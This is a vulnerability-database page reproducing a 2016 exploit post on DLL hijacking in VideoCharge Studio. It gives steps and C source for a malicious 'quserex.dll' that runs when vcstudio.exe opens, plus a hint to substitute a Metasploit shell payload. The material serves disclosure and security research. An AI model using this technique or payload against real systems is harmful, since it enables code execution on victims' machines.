Lucene search
K

VideoCharge Studio DLL Hijacking

🗓️ 28 Oct 2016 00:00:00Reported by Ashiyane Digital Security TeamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Vulnerability in VideoCharge Studio DLL Hijackin

Code
`# Exploit Title: VideoCharge Studio DLL Hijacking Exploit (quserex.dll )  
# Date: 13-09-2016  
# Author: Ashiyane Digital Security Team  
# Vendor Homepage:http://www.videocharge.com/  
# Software Link:  
http://www.videocharge.com/download/VideoChargeStudio_Install.exe  
# Tested on:Windows 7  
#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#  
Vuln DLL: quserex.dll  
  
vcstudio.exe will search for an load any DLL named "quserex.dll".  
If an attacker can place the DLL in a location  
where victim open vcstudio.exe it will load and run the attackers DLL  
and code.  
also can generate a msfpayload DLL and spawn a shell, for example.  
  
#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+  
# Exploit:  
  
1- Save and compile below C code as 'quserex.dll' to create vuln DLL  
  
2- Place 'quserex.dll' on Same Directory of vcstudio.exe  
  
3- Open vcstudio.exe  
  
//gcc test.c -o quserex.dll -shared  
//this dll show a message box  
#include <windows.h>  
#define DllExport __declspec (dllexport)  
  
BOOL WINAPI DllMain (  
HANDLE hinstDLL,  
DWORD fdwReason,  
LPVOID lpvReserved)  
{  
dll_hijack();  
return 0;  
}  
  
int dll_hijack()  
{  
MessageBox(0, "DLL Hijacking!", "DLL Message", MB_OK);  
return 0;  
}  
#################################  
Discovered By : Amir.ght #######  
#################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation